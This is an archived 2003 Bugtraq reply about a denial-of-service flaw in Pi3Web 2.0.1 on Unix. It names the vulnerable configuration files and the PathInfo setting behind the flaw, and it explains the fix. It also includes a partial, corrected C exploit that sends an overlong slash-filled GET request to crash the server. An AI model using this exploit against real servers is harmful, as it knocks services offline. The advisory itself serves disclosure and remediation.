bugtraq - Re: Unix Version of the Pi3web DoS

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20030530094307.7425.qmail@www.securityfocus.com>
Date: 30 May 2003 09:43:07 -0000
From: Holger Zimmermann <zimpel@...rs.sourceforge.net>
To: bugtraq@...urityfocus.com
Subject: Re: Unix Version of the Pi3web DoS


In-Reply-To: <20030512154945.29319.qmail@....securityfocus.com>

The vulnerability exists in Unix version of Pi3Web
2.0.1 only,
which use the one of the following configuration files
shipped
with the binary distributions for Linux or Solaris :
/usr/local/Pi3Web/Conf/Devel.pi3
/usr/local/Pi3Web/Conf/Features.pi3

Note, that the configuration file intended to use with
a production
internet server is NOT vulnerable :
/usr/local/Pi3Web/Conf/Internet.pi3

Note, that the configuration file intended to use with
Windows
servers is also vulnerable but not relevant on unix :
/usr/local/Pi3Web/Conf/Config.pi3 

The problem itself is caused by the PathInfo="Yes"
parameter in the
following configuration objects:

#
# Override some mappings for Host2 only
#
&lt;Object&gt;
	Name Host2Mappings
	Class FlexibleHandlerClass

	#
	# These mappings only apply to Host2
	#
	Condition "&cmp($o,Host2)"

	#
	# map to second document root
	#
	Mapping PathMapper From="/" To="WebRoot2/" PathInfo="Yes"
&lt;/Object&gt;

#
# Host1 mappings
#
&lt;Object&gt;
	Name Host1Mappings
	Class FlexibleHandlerClass
	#
	# These mappings only apply to MainVirtualHostInformation
	#
	Condition "&cmp($o,MainVirtualHostInformation)"
	#
	# map to first document root
	#
	Mapping PathMapper From="/" To="WebRoot/" PathInfo="Yes"
&lt;/Object&gt;

Remove both occurances of the PathInfo="Yes" from the
configuration
and restart the server in order to fix the reported issue.

Earlier Unix versions than 2.01 are NOT vulnerable.

Win32 versions are NOT vulnerable, because the
parameter has been added
in version 2.0.1 only and a related patch for the
administration client
is available, which corrects this problem in the same
manner :

http://sourceforge.net/tracker/download.php?group_id=17753&atid=317753&file_id=47258&aid=718552

Another remark: the sample code for the exploit is not
correct :
1.) the buffer with the request string is not finished
with '\0'.
2.) the constructed request is only HTTP/0.9, because
the protocol
    version is missing in the message.

The current program will generate a malicious request
but I think the intended behaviour is rather to send a
valid HTTP message containing
a malicious URI path.

A proposed enhancement of the exploit looks like:

int main(int argc, char **argv)
{
  int i, port, sd, rc;
  char buffer[356];
  char packet[380];
  struct sockaddr_in server;

  if(argc > 3 || argc < 2)
  {
    printf("USAGE: %s IP PORT\n", argv[0]);
    printf("e.g. ./pi3web-DoS 127.0.0.1 80\n");
    exit(0);
  }
  if(argc == 2) port = 80;
  else port = atoi(argv[2]);

  //Build the malformed request
  for(i = 0; i < 355; i++) buffer[i] = '/';
  buffer[i] = 0;
  sprintf(packet, "GET %s HTTP/1.0\n\n", buffer);



The original code generates requests like:
GET //////...///////繕 .@.f.@P

The enhanced code generates requests like:
GET //////.../////// HTTP/1.0


-- 
regards
Holger Zimmermann